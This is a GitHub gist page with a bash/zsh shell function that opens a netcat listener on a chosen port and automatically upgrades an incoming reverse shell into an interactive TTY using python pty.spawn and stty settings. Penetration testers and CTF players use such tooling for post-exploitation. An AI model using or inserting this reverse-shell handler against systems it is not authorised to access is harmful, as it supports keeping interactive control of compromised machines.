Skip to content

Instantly share code, notes, and snippets.

@kavishkagihan
Created September 30, 2022 17:39
Show Gist options
  • Save kavishkagihan/7df61a37640bccdd74edbd1f30d6af56 to your computer and use it in GitHub Desktop.
Save kavishkagihan/7df61a37640bccdd74edbd1f30d6af56 to your computer and use it in GitHub Desktop.
Fully automated reverse shell stablizer for both bash and zsh #linux #zsh
  • By default, it will start the litener on port 9090. You can specify the port you want it to start with shell 9001
shell() {

    if [[ $1 ]]; then
        port=$1
    else
        port=9090
    fi

    stty raw -echo; (echo 'python3 -c "import pty;pty.spawn(\"/bin/bash\")" || python -c "import pty;pty.spawn(\"/bin/bash\")"' ;echo "stty$(stty -a | awk -F ';' '{print $2 $3}' | head -n 1)"; echo reset;cat) | nc -lvnp $port && reset

}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment